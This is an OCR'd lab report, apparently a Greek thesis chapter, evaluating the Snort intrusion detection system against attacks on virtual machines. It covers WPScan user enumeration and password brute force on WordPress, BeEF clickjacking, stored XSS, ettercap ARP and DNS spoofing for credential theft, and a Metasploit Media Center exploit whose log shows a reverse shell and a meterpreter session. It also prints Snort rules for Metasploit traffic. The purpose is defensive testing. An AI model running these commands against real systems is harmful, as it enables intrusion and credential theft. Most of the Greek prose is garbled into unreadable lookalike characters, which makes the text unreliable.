Ewkova 32. Ping oto VM-3Uua KATW Ao QUOLOAOYIKES OUVINKEG



4.3 EmuB€os1g oto Wordpress

4.3.1 WPScan
To WPScan eival €va vulnerability scanner yia Wordpress sites [15]. EkteAéotnke pe tnv
TIAPOAKATW EVIOAN:

wpscan --url 192.168.100.4/blog/wp-login.php --wp-content-dir wp-content

Kal gudaviotnkav Sladpopeg aduvapieg Tng ouykekplpévng £€kdoong (3.8.5) omwe XSS, SQL
injection, Time side channel attack kArt.

:~# wpscan --url 192.168.100.4/blog/wp-login.php wp-content-dir wp-content

Security Scanner by the WPScan Team
Version 2.9
Sponsored by Sucuri - https sucuri.net
@ _WPScan_, @ethicalhack3r, wan_1r, pvdl, FireFart_

URL: http://192.168.100.4/blog/wp-login.php/
Started: Sun May 29 14:23:30 2016

robots.txt available under: 'http://192.168.100.4/blog/wp-login.php/robots.txt"'

The WordPress 'http://192.168.100.4/blog/wp-login.php/readme.html' file exists exposing a version number
Interesting heade

Interesting heade : wordpress_test_cookie=WP+Cookie+check; path=/blog/

In esting heade X-FRAME-OPTIONS: SAMEORIGIN

Interesting header: X-POWERED-BY: PHP/5.5.9-1lubuntu4.14

This site seems to be a multisite (http://codex.wordpress.org/Glossary#Multisite)

WordPress version 3.8.5 identified from stylesheets numbers
16 vulnerabilities identified from the version number

<= 4.2.2 - Authenticated Stored Cross-Site Scripting (XSS)
//wpvulndb.com/vulnerabilities/8111
s.org/news/2015/07 /wordpress-4-2-3/
1 loy/status/624264122570526720
://klikki. fi/adv/wordpress3.html
/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5622
//cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5623

Title: WordPress <= 4.2.3 - wp_untrash_post_comments SQL Injection
: https://wpvulndb.com/vulnerabilities/8126
https://github.com/WordPress/WordPress/commit/70128fe7605cb963a46815c f91b0a5934f70eff5
https ve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2213
didin, 3.8.10

Title: WordPress <= 4.2.3 - Timing Sid annel Attack
Reference: https://wpvulndb.com/vulnerabilities/813
Reference: https

: WordPress <= 4.2.3 - W ts Title Cross-Site Scripting (XSS)
Reference: https pvulndb.com/vulnerabilities/8131

Ewova 33. EktéAeon WPScan

Av karmoloc avoieLto https://192.168.100.4/blog/?author=1 BAémeL 6tL 0 user kaLAoytkd o admin
TOU site €xeL To username orestis.
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https://192.168.100.4/blog/?author=1

orestis | orestissite x

€ a 192.168.100.4)

-

orestissite SAMPLEPAGE | QL

Tes

All posts by orestis
RECENT POSTS

b TESTSITE FORSNORT PO.C.

16 98 1COMMENT

RECENT COMMENTS

Ewova 34. Admin tou wordpress site
To omnoio pnopel va BpeBei kaL e TO wpscan e TNV EVIOAN:

wpscan --url 192.168.100.4/blog --enumerate u

Enumerating usernames
Identified the following 1 user/s:

Finished: Sun May 29 18:59:02 2016
Requests Done: 54

Memory used: 5.602 MB

Elapsed time: 00:00:04

Etkéva 35. OAot ot users tou wordpress site

Enopévwe, auto to username Ba xpnoipomnolnBet yia va yivel brute force yia to password tou
admin. AuTO emITUYXAVETAL LE TNV aKOAOUON eVTOAN:

wpscan --url 192.168.100.4/blog/wp-login.php --wp-content-dir wp-content --wordlist
~/Desktop/passwords.txt --username orestis

Omou xpnolwdormoleital to apxeio passwords.txt mou meplapPavel mepimouv 2.000.000
napadeiypata passwords.
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og/wp-login.php

n number

.9-1ubuntud .14

.wordp

Ewova 36. Brute force ue to wpscan

H Sladikaoiot ONOKANPWVETAL LETA QIO KATIOLOL SEUTEPOAETTA KAl ELVOL EMUTUXAG.

Referen
Referen
33e975f46al8f5ad611c f7e7c24398948cecef8
//gist.github.com/cur a44f6b8173f545acccIedd7e
vlidienbrunn.com/wp_some er.php
.cgi?name=CVE-2016-4566

Enumerating plugins from passive detection ...
No plugins found
The plugin better-wp-security has been detected. It might record the IP and timestamp of every failed login and/or prevent brute

forcing altogeth: Not a good idea for brute forcing!
[?] Do you want to start the brute force anyway ? [Yles [N]o, default: [N]

> (562 / 2151238)
: p@sswOrdel!

Fers

Finished: Sun May 29
Requ Done: 599
Memory use:

Elapsed time

Ewova 37. Anotédeouarta password brute force e to wpscan
ITNV CUYKEKPLUEVN Tteplmtwon To snort €Byale povo To alert:

http_inspect: NO CONTENT-LENGTH OR TRANSFER-ENCODING IN HTTP RESPONSE
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Threat Level ~

c=n cen c=n ce=n -

Recent Events

o
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Ay
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o
+
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+
~l-R-N-Q-R-N-Q-0-]-

|

s

;

|

|
+

Ewkova 38. Brute force alerts

MAHome  QEw

s

Event Details

Detailed view of event #807718 Iin Datastore 1001

Event ID Module Datastore Risk / Priority Sensor 1D Engine EventID  Date & Time Delete

807718 Unified2 1001 3 1 859023 29-03-2016 16:44:58 Delete

Review Status

« | Notyet reviewed.

Automated Event Validation

Signature
Signature ID GID CID Signature Name Category Name
3 120 2 http_inspect: NO CONTENT-LENGTH OR TRANSFER-ENCODING IN HTTP RESPONSE unknown

Details unavailable
Tags

No assigned tags Add Tag~

IPv4 Header
Source Address ARIN Destination Address ARIN
192.168.100.4 view 192.168.100.6 view

Source Hostname Destination Hostname
192.168.100.4 192.168.100.6

Ver Hdr Len TOS Length ID
4 5 1489 6090

Flags Offset TTL Chksum
64 54273
TCP Header

Ewova 39. Brute force alert http_inspect

To omoio kat gival false positive alert (BA. KeddaAato False Positives).
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4.3.2 EniBeon Clickjacking

H eniBeon clickjacking £xel w¢ otoOX0 Va €€amaTOEL TOV XPrOTH OUTWE WOTE va KAvel click og éva
link kot va 0dnynBei ekel mou B€AeL 0 kakoPBoudog. MNa TNV eniBeon auth xpnolponolnbnke To
epyaheio BeEF (Browser Exploitation Framework) To omoio £€xelL wg oto)xo Tov web browser [16].

‘Eywve To kataMAnAo configuration oto BeEF kat ¢tidytnke kal éva oxoAlo oto wordpress To omnoio
£xeLtn popdn: “Click here to win a tablet”.

¥ 8o 045 Labna | Subrn ug | Logou

Pecked Brawsers
Onie Browsers

Cunrent Browser

Cmsk | Logs | Comman mis | Puder | dssmys | lpec | Network

Module Resulrs Mstory

e dme ol

cers
auaer choia, P

A 0 208053163 commandl (6.9, 8 et

b wetings (based on browaer hey may bhave 1o be aduusied).

5 $("more-quates”) Figerttick

Ewova 40. Anutoupyia entideonc clickjacking uéow BeEF

Author

Ewkova 41. Anuioupyia axoliou yia to clickjacking
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MAY 30, 2016 AT4:42 PM & EDIT

Click Here to win a Tablet

L REPLY

Ewkova 42. Eupavion oyoAiou

210 omolo av kavel click kamoLog xpRoTNG KATAANYEL OTO TTOPOKATW ATMOTEAECHLA.

€ | @ 192.168.100.6:3000/demos/clickjacking/click = & | |Q Search wB & » | =

Ewkova 43. AnotéAeoua tou clickjacking

Me auTov ToV TPOTIO UMOPEL 0 EMLTIOEUEVOC va 08Ny osL Tov Xprotn kel tou BéAeL Tt.y. facebook
login page, email login page kat va mapel ta credentials tou.

To snort 8gv Atav Lkavo vo avayvwploel Tn cuykekpLpévn emiBeon omwg davnke oto Aanval.

4.3.3 XSS

OL emuBéoelg TUMoU XSS eloayouv KakoBouAo kwdika (script) og LoTooeAldeg EeyeAwvTag KOTA
QUTOV TOV TPOTIO ToV browser tou Xpnotn, o omolog kat eKTEAEL TOV KWSIKA AUTO. AUTO EXEL WG
amoTéAecpa o KakOBoulog va amoktdel mpooPBaocn o cookies, session tokens kal eualobnteg
mAnpodopieg mou avtaAAdoocel o browser Lie TNV CUYKEKPLEVN LoTOoEALSA.

3TN OUYKEKPLUEVN TiepimTwon avakaAUdOnke aduvapia yia XSS péow twv oxoAiwv oto site omou
KOLL UTINKE TO KakOBouAo script. To amotéAeopa ATav éva avaduopevo mapdBupo OTav o Xprotng
dOpTwWVE TN CUYKEKPLUEVN oeAiba Tou fTa TO GXOALO.
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Ewova 44. Anutoupyia cxoAiou yia to XSS

Ewkova 45. Avabduouevo rapadupo Adyw tou XSS

Me QUTOV TOV TPOTIO ATIOSELKVUETAL OTL 0 KOKOPBOUAOG UTopel va elodyel To KatdAnAo script
oUTWC wote va Eeyehdoel Tov browser tou teAikoU xprotn. To Snort ev £Byale kamolo alert.

4.4 EniBeon Man in the middle

Ettercap
To ettercap amoteAel pia oAokAnpwpévn couita yla emiBéoelg TUmov man in the middle [17].
Mmopel va kavel sniffing oe live kivnon kaBwg kat pATpapLopa TTEPLEXOUEVOU.

To ettercap puBuiotnke yla va «akKoUeL TNV Kivnon anod tnv IP 192.168.100.7 péow arpspoofing.
‘Otav o XpRotng yLa mopadelya emLXELProeL va Kavel login og pa oglida mou Sev ival https, Ta
credentials epdavilovral oto ettercap, Omwg dailveTal Kol 0TNV ELKOVA TTAPAKATW.
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ettercap 0.8.0

Start Targets Hosts View Mitm Filters Logging Plugins 7

Host List ® | Targets W

Target 1

Target 2

152.168.100.1

152.168.100.7

Delete l l

Add l l Delete

Add

GROUP 1152168100, 1 00:50:56:C0:00:08

GROUP 2:192.168.100.7 00:0C:29:0D:5E:73

HTTP: 104.31.19.30:80 -> [LEEzE VEEa b e =Rl e e INFO: http:/fwww. demonoid. pw/

CONTENT: nickname=useraccount&password=secretepassword&Submit=5Submit&returnpath=>%2F &withg=0

Ewkova 46. Eupavion credentials oto ettercap

_

ZTNV CUYKEKPLUEVN TIEPpITTWON €MeLSH Ta domain ToU TEAELWVOUV O€ .pW €lval XapaKTNPLoREVA
w¢ blacklist Adyw trojan, epdavilovral ta emodpeva alerts oto aanval.

[AANVAIL]

Search Results

°

°

o

°

o

°

°

°

°

°

10 results in 1 pages

Ewova 47. Trojan alerts oto aanval
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Event Details

Detailed view of event #663543

Details unavailable

No assigned tags

Pv4 Header

ce Address

192.168.100.7

Source Hostname

192.168.100.7

ve Hdr Len

Offset

UDP Headel

n Datastore 1001

Delete

Delete

Add Tag >

Destination Address

192.168.100.2

Ewkova 48. NAentouépeleg tou trojan alert

Aoklpaotnke emniBeon péow TpwtokOAMou DNS oto ettercap, omou 6nAwBnke to domain

tparmnelag va avtlotolyel

oe private IP 8tevBuvon. To anmotéAsopa fTav OTL 0 XProTng GOPTWOoE

v Yevtikn oeida tng tpanelag mou sixe uAomolnBei oto web server Tou emtiB£pevou, avti va
QUTOKTNOEL MPOOBACN OTO MPAYUATIKO site TNG. EToL 0 KaKOPBOUAOG lval LKAVOG val ATOCTIAOEL
npooBacn oto e-banking tou Bupatoc.

3t 4

3 3 %

3t

ECT --to-po

ip s -t nat -A PREROUTING

rt 8

p j REDIR

#

ettercap 0.

f ettercap -Tgi eth® -M arpiremote -P

8.0 copyright 2001-2013 Ettercap Develo

mand_on ript in.the etter.conf fil

Ewova 49. YAomoinon enideong oto mpwtokoAAo DNS uéow ettercap
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Ewova 50. Evepyoroinan DNS spoof plugin

king Xpnowia spyadeia

Ta véa tn¢ winbank

Bpafevon yia Tnp notétnTa Twe
nanpwuwy
H Tpancla Nopawac Japfiave 590 axopa

BpaBeiac yia L ynAl BOLOTNIG Twe
LINPLOLWY NANPWRGY TNC!

Ewova 51. Yeutikn totooediba tng tpanelog

To aanval 8gv epdavioes katL og autrv TV enibeon.

4.5 EniBeon og Windows

Windows 7 backdoor

YUpdpwva pe to CVE-2015-2509 [18] ta Windows Vista SP2, Windows 7 SP1, Windows 8 kat
Windows 8.1 eMITpENMOUV OE EMITIOEUEVOUC VA ATIOKTACOUV QMOMOKPUCUEVN TTpOcRacn og autd
péow evog Media Center link file (mcl). Mo tnv eniBeon xpnowomnotOnke to Metasploit [19] émou

péow tou module ms15_100_mcl dtidyvetal To KakoBoulo apxeio, To omoio Kal amooTtEAAETOL
oto Bupa.
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) > exploit

ploit failed: The following options failed to validate:
ploit( ) > set LHOST 192.168.100.6
=> 192.168.100.6
ploit( ) > exploit
[*] Exploit running as background job.

tarted reverse TCP handler on 192.168.100.6:4444
erver started.

ploit( ) > [*] Malicious executable at \\192.168.100.6\xAIPJT\best_video.exe...
eating 'best_music_video.

msf5/1local/best_music_video.mcl

Ewkova 52. Anutoupyia apyeiov uéow tou module ms15_100_mcl

MOALG To BUpa tpéel To apyeio, avoiyel To reverse session.

@vv‘ » orestis » Angec » video <[4 [ ava
Opyévwon v EAvoypa v Kownxprionpe v Néog péxehoc,
N i Ovopa Hiepopnvia Tpom...  Tomog
Bl Emgpavaa cpyacio | € best music video 5/6: oxeio MCL ¢
& Mgz
] Mpsa.gioeg

3 Biphobrikec
B Bivteo
3 Eyypapa
& Ewéveg
& Movow

& Owaakri opasa
™ Yroloyworic

@ Birrwo

@ best_music_video Hyiepopnyia Tpor... 5/6/2016 936 pu
Apyzio MCL Tou Windows Media Center Méyzog: 59 byte

T —

Ewova 53. Ektédeon apyeiou

msf exploit(

Active sessions

14444 -> 192.168.100.18:49821) at 2016-06-05 21:38:16 +03060

Information Connection

orestis @ ORESTIS-PC 192.168.100.6:4444 -> 192.168.100.18:49821 (192.168.1060.18)

Ewkéva 54. Avotyua reverse session

Me TO Avolylo TOU reverse session 0 KakOBoUAOG £xeL TARpN TPOCGBOoN GTOV UTTOAOYLOTH TOU
BUpATOC KoL £XEL SIKOLWUATO (SLa LE TOU XprioTh Tou £Tpefe To ap)elo.
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meterpreter > cd ..
meterpreter > 1s

Type modified Name

dir 016-05- 315 +0300 $Recycle.Bin

dir -07- D7 263% +0300 Documents and Settings
dir -07- 05:37: +0300 PerflLogs

dir -06- :08:32 +0300 Program Files

dir -06- :40: +0300 ProgramData

40777/ rwx rwx rwx dir 016-05-2] :14: +0300 Recovery

40777 / rwx rwx rwx dir 2016-06-05 13:25: +0300 System Volume Information
40555/ r-xr-xr-x dir -05- ko +0300 Users

40777/ rwx rwx rwx dir 16-06- 16:00: +0300 Windows

100777/ rwx rwx rw 4 fil 2009-06- 00:42: +0300 autoexec.bat
100666/ rw-rw-rw 0 fil -06- 00:42: +0300 config.sys
100666/ rw-rw-rw- 146951168 fil 2016-06-05 19:53:37 +0300 pagefile.sys

meterpreter >
meterpreter >

Ewova 55. Mepieyoueva tou C directory twv Windows

To Snort &ev avayvwploe tnv emibeon, akopa kol Otav £ywav uncomment indicator-
shellcode.rules, to oXeTIKG e reverse tcp rules kKal pmAkav Kot KAmola enutAgov. Ta rules mou
€ywav uncommented:

alert ip SEXTERNAL_NET any -> SHOME_NET any (msg:"INDICATOR-SHELLCODE Metasploit
payload windows_meterpreter_reverse _ord_tcp"; content:"|FC 31 DB 64 8B 43 30 8B 40 0C 8B
501C8B128B7220AD AD4E 0306 3D 32 335F32 75 EF 8B6A 08 8B453C8B4C05788B4C
0D 1C01 E9 8B 41]"; fast_pattern:only; classtype:shellcode-detect; sid:30476; rev:1;)

alert tcp any any -> any any (msg:"INDICATOR-SHELLCODE Metasploit windows/reverse_tcp
stager transfer attempt"; flow:established; content:"[FC E8 86 00 00 00 60 89 E5 31 D2 64 8B 52
308B520C8B52148B72280FB74A2631FF31COAC3C617C022C20C1CFODO1C7E2
FO0 52 57]"; fast_pattern:only; reference:url, www.metasploit.com/learn-more/how-do-i-use-
it/documentation.jsp; classtype:shellcode-detect; sid:30227; rev:1;)

Kot ta rules mou pmnkav:

alert tcp any any -> any any (msg:"Metasploit User Agent String"; flow:to_server,established;
content:"User-Agent|3a| Mozilla/4.0 (compatible\; MSIE 6.1\; Windows NT)[0d 0a|";
http_header; classtype:trojan-activity;
reference:url,blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/;
§id:1618001; rev:1;)

alert tcp any any -> any any (msg:"Metasploit User Agent String"; flow:to_server,established;
content:"User-Agent|[3a| Mozilla/4.0 (compatible\; MSIE 7.0\; Windows NT 6.0\; Trident/4.0\;
SIMBAR={7DBOF6DE-8DE7-4841-9084-28FA914BOF2E}\; SLCC1\; .N/0d 0a|"; http_header;
classtype:trojan-activity; reference:url,blog.didierstevens.com/2015/03/16/quickpost-
metasploit-user-agent-strings/; sid:1618003; rev:1;)
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alert tcp any any -> any any (msg:"Metasploit User Agent String"; flow:to_server,established;
content:"User-Agent|3a| Mozilla/4.0 (compatible\; Metasploit RSPEC)[0d Oa|"; http_header;
classtype:trojan-activity; reference:url,blog.didierstevens.com/2015/03/16/quickpost-
metasploit-user-agent-strings/; sid:1618004; rev:1;)

alert tcp any any -> any any (msg:"Metasploit User Agent String"; flow:to_server,established;
content:"User-Agent|3a| Mozilla/5.0 (compatible\; Googlebot/2.1\;
+http://www.google.com/bot.html)[0d Oa|"; http_header; classtype:trojan-activity;
reference:url,blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/;
sid:1618006; rev:1;)

4.6 False positives

Kata tnv xprion tou snort untipxav false positives, 5nAadn alerts ta onoia £kavayv tv epdavion
TOUG XWPLG va umdpyeL kKamola eniBeon. To o cuvnBlopévo alert mou epudaviiotav katd to web
browsing amoé kamowo VM rtav to:

http_inspect: NO CONTENT-LENGTH OR TRANSFER-ENCODING IN HTTP RESPONSE

<

Ay
- N-N-N-N- 0
4+

Ay

<

Ewkéva 56. False positive http_inspect

False positives umipxav Kat kotd tn ovvdeon péow SSH mpwtokdAAou oe kamowo VM. Mo
OUYKeKpLUEVa, eudavilovtal moAAamAd alerts katd otav unipxe ouvéeon SSH Adyw evog bug
naladtepng £€kdoong Tou Snort, To omoio OMw¢ pailvetal UTTAPXEL AKOU.
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Threat Level -

C=n ke

e o D er € ° °

Recent Events -

8- ) i - |

Ewkova 57. SSH false positives alerts ato Aanval

<

EventID Module Datastore Risk / Priority ~ SensorID  Engine EventID Date & Time Delete
743819 Unified2 1001 2 1 822582 28-05-2016 14:24:27 Delete

Review Status

| Notyet reviewed.

Automated Event Validation

Signature
Signature ID GID CiD Signature Name Category Name
4 128 25 ssh: Protocol mismatch non-standard-protocol

Details unavailable
Tags

No assigned tags AddTag~

IPv4 Header
Source Address ARIN Destination Address ARIN
192.168.100.1 view 192.168.100.23 view

Source Hostname Destination Hostname
192.168.100.1 192.168.100.23

ver Hdr Len TOS Length ID
4 5 72 11357

Flags Offset TTL Chksum
128 33825
TCP Header
Source Port Destination Port Sequence Offset
54990 22 2598699923 5

Ewova 58. SSH false positive alert
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Mo tnv eniluon tou cuykekpluévou false positive, €ylve commented oto preprocessor.rules to
OUYKEKPLLEVO signature Tou pokaAoUoe To alert.

rt ( msg: : R R rev: 1; metadata: rule-type preproc, service ssh, policy
security-ips drop ; _ ) g : ;)

; rev: 1; metadata: rule-type preproc, service ssh ;

Ewkova 59. SSH rule mou €yitve commented
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AnoteAéopata Kol ZUMTEPACHLOTOL

To ypadko mepBairlov Tou Aanval Slatrpnoe Kamola cUVOALKA amoteAéopata ou daivovtol
TIOPOKATW. MO CUYKEKPLUEVQ, UTIIPXOV OTTOTEAEGUOTA OXETIKA LE TN oUXVOTNTA EUdAVIONG TWV
rules, Twv IP 8teuBuvoewv nou e€amélvay TIg eMBETELG KoL TwV SLEVBUVOEWV TIOU NTAV OL OTOXOL,
Twv ports mou epdavi{otay n MEPLOCOTEPN Kivnon KoL TwWV EMUMES WV KPLOoWOTNTag TwV rules.

21O CUYKEKPLUEVA OMOTEAECHATA avVaTObEUKTA UTtApYouV apa oA false positives. Mapoia
auta epthappavovtat ot SteuBuvoelg IP twv VM mou élafav pépog otnv uAomoinon mou sival
™G Hopdrg 192.168.100.xxx.

Ewkéva 60. Zuyvotnta eupaviong twy rules
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Frequent Offenders

AANVAL

Frequent Targets

Ewova 62. Suyvotnta upavionc IP SteuBUvoewv twv atoywv
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Frequent Po

Ewkéva 63. Zuyvotnta eUEavLonNG TWV ports e TNV TEPLOTOTEPN Kivnon

requent Risk Levels

Elkova 64. Suxvotnta ELOAVLONG TWV EMLMTESWV KPLOLUOTNTOS TWV rules

To Snort 6mw¢ dAavnKe UTopel va amoTeA£0eL €va TIOAU LoXUpO epYaAEio oTa XEPLA EVOC EUTTELPOU
Network Security administrator. OL SUvVOTOTNTEC TTOU €XeL elval Apa TTOAAEG KAl O XProTNG TOU
UTIOPEL VO TO TIOPOETPOTIOLOEL OTWE aUTOg BEAeL Kal va ekpndevioel ta false positives. Eivatl
£dIKTO va eykoTaoTAOEeL aKOpa KoL O ETALPLIKO TIEPLBAAAOV OTIOU OL AMALTAOELG Elval AUENUEVEC
KoL va mpootateVeL To SiKTuo Xwpig mpofAnuata.

To Snort Ba umopoloe va eykataoctabel oe éva meplBdriov cloud kat va mpootatelel TNV
uTtoSoN TOU XWPIG oNUAVTIKO KOOTOC. Katd Tig emiB£oelg tou Sokudotnkay to Snort, wg éva
Network-Based Intrusion Detection System, katdadepe va ovakoAUPel TG emOEoel TOU
adopoloay To SIKTUAKO KOUUATL KL KUPLWG TIG EMIBECELC avayvwpLong SIKTUOU KAl TLG EMLBECELS

56



Denial of Services (DoS). H amotponr] twv emBécewv avayvwpLong eunodilel Tov kakoBoulo va
ocuveyloelL otnv KUpLa eniBeon). Emilong, N anotponh twv emtbécswv DoS ekundevilel to downtime
€VOG server 1 ag ebpappoyng to omnoio petadpaletal o KOOTOG yLla TOV LOLOKTATN.

H kaAUtepn AUon oe €va cloud meptBaiAov eival o cuvSuacpog NIDS kat HIDS ta omola Ba eivat
katavepnuéva oe Stadopa onueia tou diktvou (NIDS), kot og 6Aoug Toug hosts (HIDS) kat Ba
amootéAouv ta logs 1 ta alerts o€ KAMOLO KEVTPLKO onpeio yla kaAUtepn Slaxeiplon.
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